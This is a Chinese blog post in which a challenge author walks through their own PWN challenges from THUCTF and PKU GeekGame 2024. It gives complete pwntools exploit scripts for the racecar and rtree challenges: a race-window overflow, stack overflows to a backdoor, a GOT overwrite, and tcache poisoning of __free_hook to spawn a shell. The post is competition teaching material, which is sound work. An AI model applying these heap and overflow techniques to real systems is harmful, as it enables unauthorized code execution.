THUCTF&PKUGeekGame2024 Writeup - PWN

出题人 pwn 方向 writeup

Featured image

先引流一个官方 writeup 仓库 ~
校赛出了 racecar 和 rtree 两个题,是心心念念的 toctou 和 libc 2.31 uaf ~ 以及第一次认真写了题面hhh ~ 编故事还是挺好玩的(
本博客题解部分和仓库里一样,只是多了一些碎碎念hhh(逃)

racecar

一个入门题,一开始在想要不要溢出 size 和 sleep_time 两处,想想还是只 time 溢出就行,但是要把 time 改大hhh ~
非常简单,瞎打打应该就可以出
但是有一点遗憾hhh ~ 之前和轩哥讨论出题的时候轩哥说交互方式可以改进一下,就两个线程分别监听两个端口,然后分别 nc 去连接,就不会出现现在这个有点乱的输出了,而且也更加 realworld 一点 ~ 但是因为当时时间不够就没加,ggg
还有大感谢轩哥提供的溢出 sleep_time 控时间窗口的灵感hhh ~

exp

from time import sleep
from pwn import *

p = process("../src/race")
context(os="linux", arch="amd64", log_level="debug")
sleep(0.2)

p.sendline("1")
p.recvuntil("content to read to buffer (max 0x100 bytes): \n")
payload = b"a" * 0x30 + b"\x40"
payload = payload.ljust(0x100, b"\x00")
payload += p32(1000)
p.send(payload)
p.sendline(str(0x31))
p.sendline(str(0x31))

p.interactive()

rtree

level1

还是入门题

思路

exp

from pwn import *

p = process("./rtree")
context(os="linux", arch="amd64", log_level="debug")

def add(key, size, data):
    p.sendlineafter(">> \n", "1")
    p.sendlineafter("key:", str(key))
    p.sendlineafter("data", str(size))
    p.sendafter("data:", data)

backdoor = 0x40122C
ret = 0x4015ED
payload = b"a" * (0x200 - 0x10) + p64(ret) + p64(backdoor)
add(1, 0x200 - 24, payload)
# gdb.attach(p)
# pause()
p.sendlineafter(">> \n", "4")
p.interactive()

level2

也是入门题

思路

exp

from pwn import *

context(os="linux", arch="amd64", log_level="debug")
p = process("./rtree")


def add(key, size, data):
    p.sendlineafter(">> \n", "1")
    p.sendlineafter("key:\n", str(key))
    p.sendlineafter("of the data:\n", str(size))
    p.sendafter("enter the data:\n", data)


def edit(key, idx, data):
    p.sendlineafter(">> \n", "3")
    p.sendlineafter("want to edit:\n", str(key))
    p.sendlineafter("the index of the data you want to edit:\n", str(idx))
    p.sendafter("data:\n", data)


add(1, 0x10, "/bin/sh\x00" + "a" * 8)
add(32, 0x100, "/bin/sh\x00" + "a" * 8)
edit(32, -0x68, p64(0x4010E0))
p.sendlineafter(">> \n", "3")
p.sendlineafter("please enter the key of the node you want to edit:\n", str(1))
p.interactive()

level3

tcache 一把梭,不难
但是第二阶段放提示的时候有点后悔没提示洞在哪里www ~ 应该提示这个的

思路

exp

from pwn import *

context(arch="amd64", os="linux", log_level="debug")
# p=process('./rtree')
p = remote("localhost", 10000)
libc = ELF("./libc-2.31.so")


def insert(key, siz, data):
    p.recvuntil(">> ")
    p.sendline("1")
    p.recvuntil("key\n")
    p.sendline("%d" % key)
    p.recvuntil("size of the data\n")
    p.sendline("%d" % siz)
    p.recvuntil("enter the data\n")
    p.send(data)


def show(key):
    p.recvuntil(">> ")
    p.sendline("2")
    p.recvuntil("to show\n")
    p.sendline("%d" % key)


def remove(key):
    p.recvuntil(">> ")
    p.sendline("3")
    p.recvuntil("to remove\n")
    p.sendline("%d" % key)


def edit(key, data):
    p.recvuntil(">> ")
    p.sendline("4")
    p.recvuntil("its data\n")
    p.sendline("%d" % key)
    p.recvuntil("enter the new data\n")
    p.send(data)


insert(2, 0x10, "A" * 0x10)
insert(4, 0x30, "rrr")
insert(3, 0x30, "rrr")
insert(5, 0x30, "rrr")
insert(6, 0x450, "rrr")
insert(1, 0x450, "B" * 0x4)
insert(1, 0x10, "C" * 0x10)

remove(6)
remove(3)
remove(5)
remove(4)
remove(1)

# gdb.attach(p)
show(0)
p.recvuntil("is: \n")
heap_leak = u64(p.recv(6).ljust(8, b"\x00"))
p.recv(2)
libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
print(hex(heap_leak))
print(hex(libc_leak))
# gdb.attach(p)
# 0x55e9fea3d4b0 0x55e9fea3d000 0x7f3786b45be0 0x7f3786959000
libc_base = libc_leak - 0xB45BE0 + 0x959000
heap_base = heap_leak - 0x4B0
# 再来打一个 tcache poisoning
print(hex(libc_base))
print(hex(heap_base))

insert(9, 0x80, "rrr")
insert(9, 0x100, "ttt")
insert(6, 0x30, "rrr")
insert(3, 0x30, "rrr")
insert(5, 0x30, "rrr")
insert(7, 0x30, "rrr")
insert(4, 0x80, "rrr")

remove(4)
remove(5)
remove(3)
remove(7)
remove(6)

remove(9)
# gdb.attach(p)
# 此时key 是 heap_base+0x400->int
edit((heap_base + 0x3F0) & 0xFFFFFFFF, p64(libc_base + libc.symbols["__free_hook"]))

insert(4, 0x80, "/bin/sh\x00")
insert(5, 0x80, p64(libc_base + libc.symbols["system"]))
remove(4)
p.interactive()

saferustplus(todo)

pkucc rhgg 的题还是有点难,,想打 IO_FILE + malloc_assert 触发,写完 exp 调试发现这个 libc 版本里面 malloc_assert 不会调用 fflush 函数,原地倒闭,,
最近嗑盐,学业比较忙,有空把这个坑填上hhh ~ (rhgg tql!)
以及那个覆盖栈上 is_admin 如果不看 writeup 确实有点想不到,看来还得多练 () 官方 writeup

题目环境配置

此外,终于学会配 pwn 题的环境啦感动!看轮子
但是发现 geekgame 的平台不需要配 xinetd 感动()
然后还有在 docker 运行二进制文件的时候出现 permission denied 的情况,但是在 dockerfile 中 chmod 给了二进制文件执行权限,可能是因为 libc 或者 linker 权限不对,加上 rwx 权限就好了